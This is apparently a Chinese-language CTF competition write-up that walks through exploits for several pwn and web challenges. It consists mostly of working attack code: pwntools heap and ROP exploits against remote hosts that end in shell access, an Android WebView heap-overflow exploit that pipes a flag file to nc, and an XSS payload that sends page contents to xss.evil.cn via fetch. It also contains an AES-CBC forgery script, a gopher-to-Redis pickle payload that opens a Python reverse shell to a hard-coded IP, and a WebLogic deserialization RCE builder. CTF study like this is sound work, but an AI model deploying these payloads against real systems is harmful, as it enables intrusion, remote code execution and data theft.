gun
shoot功能存在逻辑问题导致UAF，可以造成load的bullet再次free
利用unsortedbin构造fake chunk，free进tcache后，直接修改fd指向__free_hook即可
程序存在sandbox，只能orw
setcontext为rdx寄存器，考虑转向IO，通过vtable间接设置:
https://kirin-say.top/2020/06/29/0CTF-TCTF-2020-Quals-PWN/
或者利用可以通过rdi设置rdx寄存器的gadget：
ropper --file ./libc-2.31.so --search "mov rdx,"
......
0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
......
from pwn import *
context.log_level="debug"
def add(size,note):
p.sendlineafter("> ", "3")
p.sendlineafter("price: ", str(size))
p.sendafter(": ", note)
def magic(index):
p.sendlineafter("> ", "2")
p.sendlineafter("?", str(index))
def delete(index):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(index))
#p=process("./gun")
p=remote("123.57.209.176",30772)
name="name: \n"
p.sendafter(": ",name)
for i in range(8):
add(0x80,"a\n")
for i in range(8):
magic(i)
delete(10)
add(0x50,"\n")
magic(0)
delete(1)
p.recvuntil("The ")
libc=u64(p.recv(6)+"\x00\x00")-0x7ffff7fc2be0+0x7ffff7dd7000-0x80
print hex(libc)
for i in range(9):
add(0x80,"bbbbb\n")
for i in range(9):
magic(8-i)
delete(10)
add(0x410,p64(0)*16+p64(0)+p64(0x31)+p64(0)*5+p64(0x21)+"\n")
add(0x20,"aaaa\n")
for i in range(6):
add(0x10,"bbbbb\n")
magic(7)
magic(1)
delete(3)
magic(0)
delete(1)
add(0x20,"\n")
magic(0)
delete(1)
p.recvuntil("The ")
heap=u64(p.recv(6)+"\x00\x00")
print hex(heap)
#0x55555555b330
payload=p64(0)+p64(heap-0x55555555b330+0x55555555b760-0x20)+p64(libc+0x580DD)
rdi=libc+0x0000000000026b72
rsi=libc+0x27529
rdx2=libc+0x162866
rax=libc+0x4a550
payload2=p64(heap-0x55555555b330+0x55555555b810)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(libc+0x111140)
payload2+=p64(rdi)+p64(3)+p64(rsi)+p64(heap)+p64(rdx2)+p64(0x30)+p64(0)+p64(libc+0x00111130)
payload2+=p64(rdi)+p64(1)+p64(rsi)+p64(heap)+p64(rdx2)+p64(0x30)+p64(0)+p64(libc+0x001111d0)
add(0x1b0,payload.ljust(16*8,"\x00")+p64(0)+p64(0x31)+p64(libc+0x00001eeb28)+p64(0)*4+p64(0x21)+"/flag\x00\x00\x00"+p64(0)+payload2+"\n")
add(0x20,p64(heap-0x55555555b330+0x55555555b820)+p64(rdi)+"\n")
add(0x20,p64(libc+0x154930)+"\n")
magic(0)
delete(1)
p.interactive()
leak
golang ,添加函数，leak源码中的flag
package main
func main() {
flag := []int64{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
for i, v := range flag {
flag[i] = v + 1
}
hack()
}
/* your function will be placed here */
/* input the whole hack() function as follow */
/* and end the code with '#' */
/*
func hack() {
TODO
}
*/
利用golang data race造成类型混淆，而后可以进行任意地址读写
考虑flag会在ELF中存一份，在rodata附近爆破出flag保存地址
而后一字节一字节爆破即可
from pwn import *
import sys
#context.log_level = 'debug'
p = remote("123.57.209.176",30775)
flag=""
key="1234567890abcdef-" #uuid
flag_index=40#为了稳定，比赛时选择每3字节爆破
for i in range(3):
for j in key:
try:
tmp= 0x0483000+i*0x8
p = remote("123.56.96.75",30775)
magic='''
func hack() {
type Mem struct {
addr *uintptr
data *uintptr
}
m := new(Mem)
var i, j, k interface{}
i = (*uintptr)(nil)
j = &m.data
var z int=0
go func(){
for {
z++
k = i
func() {
if z < 0 {
}
return
}()
k = j
}
}()
for {
if p, ok := k.(*uintptr); ok && p != nil { //Race Successuflly
m.addr = p
*m.addr=%s
var o uintptr = *m.data
if o==%s{ //结果正确=>Crash
*m.addr=0
*m.data=0
}
break
}
}
}
''' %(0x483000+72*8+(flag_index+i)*8,ord(j))
p.sendlineafter("code: \n", magic+"#")
s=p.recv()
print s
if "exit status 2" in s:
flag+=j
print flag
break
else:
print "no 1"
p.close()
except:
p.close()
print "no"
print flag
#ByteCTF{898ab99c-67d0-4188-81ef-253c12492868}
ohmyjson
golang写的json解析程序
存在混淆，golanghelper恢复没有效果，不过debug信息会有源码位置，因此选择人为制造Crash，可以定位到一些关键函数，和直接获得对应源码位置，根据源码行数可以确定函数
大致流程:read => strings.Split => ParseJson
Split会按照空格分割并判断是否为3个部分
而后会使用jsonparser.Delete，将json中第二个部分指定的成员删除
在逆向出最后一个的作用前，进行简单测试发现利用:
# buger/jsonparser 唯一相关CVE(恰好也在jsonparser.Delete)
https://github.com/buger/jsonparser/issues/188
类似的一些非法json，会导致处理时间过长，导致最后一个达到(第三部分比较长时)栈溢出(猜测是Thread返回设置标志位等原因触发溢出函数)，并且一些情况下(第三部分比较短时)可以输出第三部分信息
debug时可以看到溢出时栈信息:
pwndbg> x/100xg $rsp-0xa0
0xc000045e00: 0x0000555555699c40 0x000000c000102000
0xc000045e10: 0x000000c000045e40 0x0000555555609ade
0xc000045e20: 0x0000000000000000 0x0000000000000000
0xc000045e30: 0x000000c000045de0 0x0000000000000020
0xc000045e40: 0x0000000000000020 0x000000c00005c180
0xc000045e50: 0x000000c000045e20 0x0000000000000001
0xc000045e60: 0x0000000000000000 0x0000000000000000
0xc000045e70: 0x000000c00005c1e0 0x0000000000000000
0xc000045e80: 0x0000000000000001 0x0000000000000000
0xc000045e90: 0x0000000000000000 0x000000c000045f78
0xc000045ea0: 0x000055555566afd0 0x000000c000000000
......
溢出会从第三部分的0x30字节往后，覆盖到0xc000045e10地址之后
可以看到0xc000045e30位置为一个slice:
struct slice{
byte* array;
uintgo len;
uintgo cap;
}
debug+硬件断点确定实际输出的是这个slice的数据
0xc000045ea0位置为返回地址
Exploit: 利用golang栈地址相对固定(远程利用报错debug信息可以看到栈地址)来设置好slice结构进行leak程序加载基址
而后部分覆盖返回地址进行复用(1/16爆破)
复用后直接ROP执行execv即可
#测试使用"{{{}"这类json也可以
from pwn import *
context.log_level="debug"
#p=process("./chall")
p=remote("123.57.209.176",30773)
payload='{{{} a '+"\x00"*0x30
payload+=(p64(0)*4+p64(0xc00003eea0)+p64(0x50)+p64(0x50)).ljust(0x90,"\x00")
payload+="\xb0\x6d"
#0
#gdb.attach(p)
p.sendlineafter(": ",payload)
p.recv(0x10)
addr=u64(p.recv(8))+0x5603ab9bd000-0x5603abb248a8
print hex(addr)
rdi=addr+0x0000000000117867
rsi2=addr+0x0000000000117865
rdx=addr+0x00000000000783de
rax=addr+0x0000000000073339
syscall=addr+0x000000000009c194
if addr>0:
payload='{{{} a '+"\x00"*0xc0
payload+=p64(rdi)+p64(0xc00003ee18)+p64(rsi2)+p64(0)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)+"/bin/sh\x00"
p.sendlineafter(": ",payload)
#gdb.attach(p)
p.interactive()
pwndroid
环境搭建:
sdkmanager --install "system-images;android-24;default;x86"
echo "no" | avdmanager --verbose create avd --force --name "kirin_magic" --package "system-images;android-24;default;x86" --tag "default" --abi "x86"
输入ip，远程会执行
adb shell am force-stop ctf.bytedance.pwndroid
adb shell su root ps | grep "ctf\.bytedance\.pwndroid" | awk '{print $2}' | xargs -t adb shell su root kill -9
adb shell am start -a android.intent.action.VIEW -d pwndroid://ip
即：新开启pwndroid app来加载ip位置网页
看的APK内部native层定义了常见的add edit show delete操作
明显可以通过show直接leak，且在edit时存在堆溢出
堆结构:
char* data
func* print_handle
show时会调用print_handle(data)
可以在leak libc后直接通过溢出修改堆中的print_handle函数指针为system来RCE
注意堆风水比较复杂，这里我进行了小的堆喷操作，并利用ELF文件头来确定哪一个index1会溢出到哪一个index2
在NativeMethods中进行了封装，并在JSBridge中调用
PwnMe中看到:
this.mWebView.addJavascriptInterface(new JSBridge(this.mWebView), "_jsbridge");
加入了_jsbridge对象
直接在html中利用_jsbridge对象间接调用Native层即可
注意callback时因为异步问题，无法在callback函数内部及时更新全局变量（尤其show时，很不方便leak），可以利用延时，通过setTimeout解决
//时间紧，写得有点急
<!DOCTYPE html>
<html>
<body>
Kirin
<script>
var kirin
var kirin2
var index
var index2
var addr
var libc_addr
function getresult(obj) {
var a=obj['msg']
if(a[24]=='F' && a[25]=='0' && a[27]=='B'){
kirin=a
}
}
function get0(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=0
}
}
function get1(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=1
}
}
function get2(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=2
}
}
function get3(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=3
}
}
function get4(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=4
}
}
function get5(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=5
}
}
function get6(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=6
}
}
function get7(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=7
}
}
function get8(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=8
}
}
function get9(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=9
}
}
function get10(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=10
}
}
function get11(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=11
}
}
function get12(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=12
}
}
function get13(obj){
var tmp=obj['msg']
if(tmp[0]=='7' && tmp[1] == 'F' ){
index2=13
}
}
function get_final(obj){
kirin2=obj['msg']
}
//document.body.append(typeof _jsbridge)
function magic(){
//alert(typeof _jsbridge)
_jsbridge.call("add", '{"data":{"idx":0,"size":8,"content":"111111111111111111111"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":1,"size":8,"content":"2222222222222222222222"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":2,"size":8,"content":"33333333333333333333333"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":3,"size":8,"content":"44444444444444444444444"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":4,"size":8,"content":"55555555555555555555555"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":5,"size":8,"content":"666666666666666666666666"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":6,"size":8,"content":"777777777777777777777777"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":7,"size":8,"content":"888888888888888888888888"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":8,"size":8,"content":"99999999999999999999999"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":9,"size":8,"content":"aaaaaaaaaaaaaaaaaaaaaaaa"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":10,"size":8,"content":"bbbbbbbbbbbbbbbbbbbbbbbbb"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":11,"size":8,"content":"ccccccccccccccccccccccccc"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":12,"size":8,"content":"ddddddddddddddddddddddddd"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":13,"size":8,"content":"eeeeeeeeeeeeeeeeeeeeeeeee"}, "cbName": ""}');
_jsbridge.call("add", '{"data":{"idx":14,"size":128,"content":"bbbbbbbbbbbbbbbbbbbbbbbbb"}, "cbName": ""}');
// _jsbridge.call("edit", '{"data":{"idx":0,"size":44,"content":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "cbName": ""}');
//_jsbridge.call("show", '{"data":{"idx":0}, "cbName": getresult}');
for (var i = 0; i < 14; i++) {
_jsbridge.call("show", '{"data":{"idx":'+i+'}, "cbName": getresult}');
}
setTimeout(function() {
addr=parseInt(kirin[24],16)*0x10+parseInt(kirin[25],16)+parseInt(kirin[26],16)*0x1000+parseInt(kirin[27],16)*0x100+parseInt(kirin[28],16)*0x100000+parseInt(kirin[29],16)*0x10000+parseInt(kirin[30],16)*0x10000000+parseInt(kirin[31],16)*0x1000000
addr=addr-0xbf0
index=parseInt(kirin[0],16)-1
tmp = addr.toString(16)
//alert(tmp)
content='bbbbbbbbbbbbbbbb'+tmp[7-1]+tmp[7-0]+tmp[7-3]+tmp[7-2]+tmp[7-5]+tmp[7-4]+tmp[7-7]+tmp[7-6]
_jsbridge.call("edit", '{"data":{"idx":'+index+',"size":12,"content":"'+content+'"}, "cbName": ""}');
for (var i = 0; i < 14; i++) {
_jsbridge.call("show", '{"data":{"idx":'+i+'}, "cbName": get'+i+'}');
}
setTimeout(function() {
//alert(index2)
tmp_addr=addr+0x2FF8
tmp = tmp_addr.toString(16)
content='bbbbbbbbbbbbbbbb'+tmp[7-1]+tmp[7-0]+tmp[7-3]+tmp[7-2]+tmp[7-5]+tmp[7-4]+tmp[7-7]+tmp[7-6]
_jsbridge.call("edit", '{"data":{"idx":'+index+',"size":12,"content":"'+content+'"}, "cbName": ""}');
_jsbridge.call("show", '{"data":{"idx":'+index2+'}, "cbName": get_final}');
setTimeout(function() {
//alert(kirin2)
libc_addr=parseInt(kirin2[24-24],16)*0x10+parseInt(kirin2[25-24],16)+parseInt(kirin2[26-24],16)*0x1000+parseInt(kirin2[27-24],16)*0x100+parseInt(kirin2[28-24],16)*0x100000+parseInt(kirin2[29-24],16)*0x10000+parseInt(kirin2[30-24],16)*0x10000000+parseInt(kirin2[31-24],16)*0x1000000-0x0014550
//alert(libc_addr.toString(16))
content="bbbbbbbbbbbbbbbb"+kirin[8+8]+kirin[8+9]+kirin[8+10]+kirin[8+11]+kirin[8+12]+kirin[8+13]+kirin[8+14]+kirin[8+15]
tmp_addr=libc_addr+0x0072b60
tmp = tmp_addr.toString(16)
//alert(index)
//>>> 'sh -c "cat /data/local/tmp/flag | nc 127.0.0.1 6666"\x00'.encode("hex")
//'7368202d632022636174202f646174612f6c6f63616c2f746d702f666c6167207c206e63203132372e302e302e3120363636362200'
//>>> len(_)/2
//53
content=content+tmp[7-1]+tmp[7-0]+tmp[7-3]+tmp[7-2]+tmp[7-5]+tmp[7-4]+tmp[7-7]+tmp[7-6]
cmd="7368202d632022636174202f646174612f6c6f63616c2f746d702f666c6167207c206e63203132372e302e302e3120363636362200"
_jsbridge.call("edit", '{"data":{"idx":'+index+',"size":16,"content":"'+content+'"}, "cbName": ""}');
_jsbridge.call("edit", '{"data":{"idx":'+index2+',"size":53,"content":"'+cmd+'"}, "cbName": ""}');
_jsbridge.call("show", '{"data":{"idx":'+index2+'}, "cbName": "get13"}');
}, 1000)
}, 1000)
}, 1000)
}
//alert(a)
magic()
</script>
</body>
</html>
easyheap
很明显add时，size获得时有逻辑问题
前后没有进行更新，导致可以任意偏移写一字节”\x00”
利用0x20大小的chunk，和size逻辑问题绕过memset和00截断，直接利用unsorted bin进行leak
而后通过任意偏移写一字节”\x00”，布置好堆布局，恰好修改到一个tcache_free_chunk的fd低字节为00，即可分配到一个构造好chunk的位置，这里我修改fd后恰好指向chunk本身，人为构造了double free的堆布局
而后tcache attack修改free_hook为system即可在free(“/bin/sh”)时getshell
from pwn import *
context.log_level="debug"
def add(size,note):
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)
def show(index):
p.sendlineafter(">> ","2")
p.sendlineafter(": ",str(index))
def delete(index):
p.sendlineafter(">> ","3")
p.sendlineafter(": ",str(index))
#p=process("./easyheap")
p=remote("123.57.209.176",30774)
add(3,"aaa")
add(3,"aaa")
delete(0)
delete(1)
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(0x100))
p.sendlineafter(": ",str(1))
p.sendafter(": ","a")
show(0)
p.recvuntil("Content: ")
heap=u64(p.recv(6)+"\x00\x00")
print hex(heap)
delete(0)
for i in range(8):
add(0x80,"a"*0x80)
for i in range(8):
delete(7-i)
add(8,"/bin/sh\x00")
add(3,"aaa")
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(0x100))
p.sendlineafter(": ",str(1))
p.sendafter(": ","a")
show(2)
p.recvuntil("Content: ")
libc=u64(p.recv(6)+"\x00\x00")+0x7ffff7dd7000-0x7ffff7fc2c61
print hex(libc)
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(0x91))
p.sendlineafter(": ",str(0x80))
p.sendafter(": ","b"*0x80)
add(0x80,p64(libc+0x01eeb28).ljust(0x80,"\x00"))
add(0x80,p64(libc+0x01eeb28).ljust(0x80,"\x00"))
add(0x80,p64(libc+0x0055410)+"\n")
delete(0)
p.interactive()
douyin_video
http://a.bytectf.live:30001/%0a.xxxx.com 通过正则写的bug，可以跳到任意 www.douyin.com 开头的网站，之后就是xss
在macos上测试，因为 resp.headers[‘X-Frame-Options’] = ‘sameorigin’ 同源策略，b.bytectf.live 不会被加载，检测 frames[0].frames.length 即可，但是打远程不成功，之后在linux环境下测试。。。发现居然不检测子域名是否同源，所以无法xsleak。但是发现也不检测端口是否同源，又因为document.domain被提升，直接就能在30002的guestbook上读30001上的document。。。
提交到 c.bytectf.live:30002，然后让bot跳过去就行
i = document.createElement('iframe')
i.src = 'http://b.bytectf.live:30001/send?keyword=Byte'
document.domain = 'bytectf.live'
document.body.append(i)
setTimeout(() => {
a = i.contentWindow.document.body.innerHTML
fetch('http://xss.evil.cn/?' + escape(a))
}, 2000)
secure_website
点开发现路径全部是一串hex，随便改点啥返回，crypto/cipher: input not full blocks
修改不同的地方会出现不同的结果
有
No file.
Bad Request.
File expired.
几种，有部分文件在修改时会出现
3a4)A®=º.~J³b!F¡(a96 file, 3a4f6aa5-f42c-4aa1-8a96
这种乱码，同时可以注意到 3a4, a96是正确的，乱码的长度是16，而且在对unhex后的16位chunk里面的任意一个修改都会导致乱码。 对这可以确定是用的分组密码，大概率是AES，又注意到在修改的时候对着chunk的第一位修改，会导致结果16位乱码之后的第一位变动，可以推断出是AES-CBC。
这里直接给了解密的结果，而且iv是已知的，只不过用错了一个，根据CBC原理可以直接恢复正确的解密结果，脚本的print(strxor(strxor(decdata, iv), orgiv))就是解密的结果。
import requests
import binascii
from Crypto.Util.strxor import strxor
session = requests.session()
url = "http://39.102.70.108:30080/"
burp0_cookies = {"session": "MTYwMzYwNDU5NHxEdi1CQkFFQ180SUFBUkFCRUFBQU5mLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRCa0FGelZoWkRWbU5XSmxMV1ppTnprdE5HVTJNeTFoTUdSaXxtdMibdvk_cMqwoIhQBYT1yNIvNef_Fdw2aIqaAaSO-w=="}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36", "DNT": "1", "Accept": "text/css,*/*;q=0.1", "Referer": "http://182.92.174.109:30080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7", "sec-gpc": "1", "Connection": "close"}
a = 'cbba9c7866cb8ecd9bcbd398f95adcb2f5e830cd6bc057ad15267934624b1d73fbc3a5e6ab72093379f72f4c7e030bc476c3da8d1b69bb1f6f764823627097d6393cdd1f956f416edab58a071069b982e2162060ac228744d19189904f452d4a922146b886c6e97b11151124ad47f46e'
a = binascii.unhexlify(a)
#a = '73ffb490b0d9f2266a5c673406593ab473b7f3d3b887fd21285e66735a0e34f39a70397ef6d08779d30fcd93bc79685e70a4e76ab7e44a52ac79aa409002f3972661bca9328ef5e243a321a1f10ce03711795ba4bfb46a39e633d66749d83ccdcc7a0a2a2a9b32ee96b9c6ce19bbf7a3'
start_idx = 64
front = a[:start_idx]
back = a[start_idx+16:]
org = a[start_idx:start_idx+16]
dec_idx =32
dec = a[dec_idx:dec_idx+16]
orgiv = a[dec_idx-16:dec_idx]
iv = front[-16:]
a = front + dec + org + back
res = session.get(url + binascii.hexlify(a).decode(), headers=burp0_headers, cookies=burp0_cookies)
print(res.text)
data = res.content
decdata = data[11:11+16]
print(decdata)
print(strxor(strxor(decdata, iv), orgiv))
b'/file?filename=statics/css/lightbox.css&user=76bed7be-b111-413f-'
b'/file?filename=statics/css/lightbox.css&user=3de920c2-a0f2-4af3-959a&expire\x7f\x0c\xf0\xb0\xb33608963\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'/file?filename=statics/css/lightbox.css&user=3de920c2-a0f2-4af3-959a&expired=1603609302\x00\x00\x00\x00\x00\x00\x00\x00\x00'
raw_dec = strxor(decdata, iv)
print(raw_dec)
poc1 = b'/file?filename=/'
poc2 = b'flag&aaaaaaaaaaa'
#poc3 = b'e&aaaaa&user=3de'
poc = poc1
print(strxor(poc, raw_dec))
print(binascii.hexlify(strxor(poc, raw_dec)))
# ec8547904a5316352d4bb4fd42e3eca13e2e8d10b1698d2c6624844c76c92fbe0000000000000000000000000000000070a4e76ab7e44a52ac79aa409002f3972661bca9328ef5e243a321a1f10ce03711795ba4bfb46a39e633d66749d83ccdcc7a0a2a2a9b32ee96b9c6ce19bbf7a3
# b'\x89\xa3}\x80\xf2\x14\x9e\x94\x1e@\xd7|\\\r\xd7}' ^ b'p\xa4\xe7j\xb7\xe4JR\xacy\xaa@\x90\x02\xf3\x97'
# rawdec b'\xf9\x07\x9a\xeaE\xf0\xd4\xc6\xb29}<\xcc\x0f$\xea'
# ccfa723eeacaf36488126a24310abbfae7e525c32ed219af073437396a4d1466fbc3a5e6ab72093379f72f4c7e030bc476c3da8d1b69bb1f6f764823627097d6393cdd1f956f416edab58a071069b982e2162060ac228744d19189904f452d4a922146b886c6e97b11151124ad47f46e
'''
GET /ccfa723eeacaf36488126a24310abbfae7e525c32ed219af073437396a4d1466fbc3a5e6ab72093379f72f4c7e030bc476c3da8d1b69bb1f6f764823627097d6393cdd1f956f416edab58a071069b982e2162060ac228744d19189904f452d4a922146b886c6e97b11151124ad47f46e HTTP/1.1
Host: 39.102.70.108:30080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
Cookie: session=MTYwMzYwNDU5NHxEdi1CQkFFQ180SUFBUkFCRUFBQU5mLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRCa0FGelZoWkRWbU5XSmxMV1ppTnprdE5HVTJNeTFoTUdSaXxtdMibdvk_cMqwoIhQBYT1yNIvNef_Fdw2aIqaAaSO-w==
sec-gpc: 1
Connection: close
'''
可以得到加密的其实就是
b'/file?filename=statics/css/lightbox.css&user=3de920c2-a0f2-4af3-959a&expired=1603609302\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PS. 这里不知道为什么有时候会得到错误的解密结果，比如statihs, filenamn之类的，但换了session之后又正常了。。也不知道怎么回事
于是在已知当前解密结果外加iv的情况下，可以修改前一chunk来伪造当前chunk的解密结果，可以不停往前重复，伪造全部的结果。就是脚本后半部分的作用，太懒没有自动化，需要手工替换下front + dec + org + back 中的 dec和poc1,2,3来伪造。最后尝试读 /etc/passwd 成功，想着读读程序，但是读 /proc/self/cmdline失败，于是直接尝试读/flag，直接就出了
scrapy
题目是个scrapy，提交url会爬，同时会抓取页面内的链接再爬一次。
猜测抓的a标签会request请求一次，于是测了一下file，发现可以任意读。
fuzz了很多，environ能看到pwd是/code，结合scrapy的项目结构，读了一下scrapy.cfg发现能读到。
# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html
[settings]
default = bytectf.settings
[deploy]
#url = http://localhost:6800/
project = bytectf
可以看到没开6800，结合project继续读，何以读到整个项目代码，发现用了mongo和redis。但是scrapy.Request是不支持gopher/dict的，这里就有点卡住了，后来测出来/result路由的请求支持gopher，想到了gopher打redis/mongo。
gopher打redis，主从/crontab都没成，没回显很缺信息。
gopher打mongo restapi，没成，不知道为啥。
stuck
审了一波scrapy没有找到能完全可控的写pickle序列化字节码操作，后来看代码发现用了spider_redis就翻了一下，发现很明显的scrapy_redis在使用priority_queue等进行请求调度的存取url的过程中，是pickle.dump以后存的，取的时候也直接pickle.load。。。。。
可以看到是一个有序集合，zadd一个url就行。。注意self.key
然后生成弹shell exp，gopher打就行
/result?url=gopher://172.20.0.7:6379/_zadd%2520byte%253Arequests%25201%2520%2522%255Cx80%255Cx03cposix%255Cnsystem%255Cnq%255Cx00X%255Cxe9%255Cx00%255Cx00%255Cx00python%2520-c%2520%255C'import%2520socket%252Csubprocess%252Cos%253Bs%253Dsocket.socket(socket.AF_INET%252Csocket.SOCK_STREAM)%253Bs.connect((%255C%2522139.199.203.253%255C%2522%252C1234))%253Bos.dup2(s.fileno()%252C0)%253B%2520os.dup2(s.fileno()%252C1)%253B%2520os.dup2(s.fileno()%252C2)%253Bp%253Dsubprocess.call(%255B%255C%2522%252Fbin%252Fbash%255C%2522%252C%255C%2522-i%255C%2522%255D)%253B%255C'q%255Cx01%255Cx85q%255Cx02Rq%255Cx03.%2522
jvav
一开始以为没开t3/iiop，以为直接来白嫖http 1day的。。。。。。。。。
后来发现https，参考weblogic_cmd改了一下支持t3s的操作，然后14644一把梭就行。注意coherence版本。
public static Object doBlind14644(String c) throws Exception {
String command = null;
if (c.startsWith("linux=")) {
command = "Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"" + c.replace("linux=", "") + "\"});";
}
if (c.startsWith("win=")) {
command = "Runtime.getRuntime().exec(new String []{\"cmd.exe\",\"/c\",\"" + c.replace("win=", "") + "\"});";
}
String r = getRandomString(10);
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("com.tangosol.internal.util.invoke.lambda.AbstractRemotableLambda$" + r);
if (!clazz.isFrozen()) {
pool.importPackage("java.lang.Runtime");
CtConstructor cons = new CtConstructor(new CtClass[0], clazz);
String cmd = "{" + command + "}";
cons.setBody(cmd);
clazz.addConstructor(cons);
}
ClassIdentity classIdentity = new ClassIdentity();
Reflections.setFieldValue(classIdentity, "m_sPackage", "com.tangosol.internal.util.invoke.lambda");
Reflections.setFieldValue(classIdentity, "m_sBaseName", "AbstractRemotableLambda");
Reflections.setFieldValue(classIdentity, "m_sVersion", r);
RemoteConstructor constructor = new RemoteConstructor(new ClassDefinition(classIdentity, clazz.toBytecode()), new Object[0]);
return constructor;
}